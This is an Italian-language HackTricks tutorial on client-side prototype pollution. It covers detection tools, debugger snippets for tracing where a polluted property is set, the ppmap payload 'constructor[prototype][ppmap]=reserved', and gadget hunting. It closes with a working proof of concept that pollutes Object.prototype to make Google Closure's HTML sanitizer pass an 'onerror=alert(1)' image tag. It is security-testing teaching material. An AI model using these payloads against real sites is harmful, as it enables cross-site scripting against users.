Client Side Prototype Pollution

Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Scoprire usando strumenti automatici

Gli strumenti https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap e https://github.com/kosmosec/proto-find possono essere utilizzati per trovare vulnerabilità di inquinamento del prototype.

Inoltre, potresti anche utilizzare l'estensione del browser PPScan per scansionare automaticamente le pagine a cui accedi alla ricerca di vulnerabilità di inquinamento del prototype.

Debugging dove viene utilizzata una proprietà

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Trovare la causa radice della Prototype Pollution

Una volta identificata una vulnerabilità di prototype pollution da parte di uno qualsiasi degli strumenti, e se il codice non è eccessivamente complesso, potresti trovare la vulnerabilità cercando parole chiave come location.hash, decodeURIComponent, o location.search nelle Chrome Developer Tools. Questo approccio ti permette di individuare la sezione vulnerabile del codice JavaScript.

Per codebase più grandi e complesse, un metodo diretto per scoprire il codice vulnerabile coinvolge i seguenti passaggi:

  1. Utilizzare uno strumento per identificare una vulnerabilità e ottenere un payload progettato per impostare una proprietà nel costruttore. Un esempio fornito da ppmap potrebbe apparire come: constructor[prototype][ppmap]=reserved.

  2. Impostare un breakpoint alla prima riga di codice JavaScript che verrà eseguita sulla pagina. Aggiorna la pagina con il payload, mettendo in pausa l'esecuzione su questo breakpoint.

  3. Mentre l'esecuzione JavaScript è in pausa, eseguire lo script seguente nella console JS. Questo script segnalerà quando la proprietà 'ppmap' viene creata, aiutando a individuarne l'origine:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Torna alla scheda Sources e seleziona "Riprendi l'esecuzione dello script". Il JavaScript continuerà ad eseguirsi e la proprietà 'ppmap' sarà inquinata come previsto. Utilizzando lo snippet fornito si facilita l'identificazione dell'esatta posizione in cui la proprietà 'ppmap' è stata inquinata. Esaminando lo Stack delle chiamate, è possibile osservare diverse pile in cui si è verificato l'inquinamento.

Quando si decide quale pila investigare, è spesso utile mirare alle pile associate ai file delle librerie JavaScript, poiché l'inquinamento del prototipo avviene frequentemente all'interno di queste librerie. Identifica la pila rilevante esaminando il suo collegamento ai file delle librerie (visibili sul lato destro, simile a un'immagine fornita come guida). In scenari con più pile, come quelli alle righe 4 e 6, la scelta logica è la pila alla riga 4, poiché rappresenta l'occorrenza iniziale dell'inquinamento e quindi la causa radice della vulnerabilità. Cliccando sulla pila verrai indirizzato al codice vulnerabile.

Trovare Gadget di Script

Il gadget è il codice che verrà abusato una volta scoperta una vulnerabilità PP.

Se l'applicazione è semplice, possiamo cercare parole chiave come srcdoc/innerHTML/iframe/createElement e esaminare il codice sorgente per verificare se porta all'esecuzione di JavaScript. A volte, le tecniche menzionate potrebbero non trovare affatto gadget. In tal caso, una revisione pura del codice sorgente rivela alcuni bei gadget come nell'esempio seguente.

Esempio di Trovare un Gadget PP nel codice della libreria Mithil

Controlla questo articolo: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Ricompilazione di payload per librerie vulnerabili

Bypass di Sanitizzatori HTML tramite PP

Questa ricerca mostra i gadget PP da utilizzare per bypassare le sanificazioni fornite da alcune librerie di sanificatori HTML:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Riferimenti

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated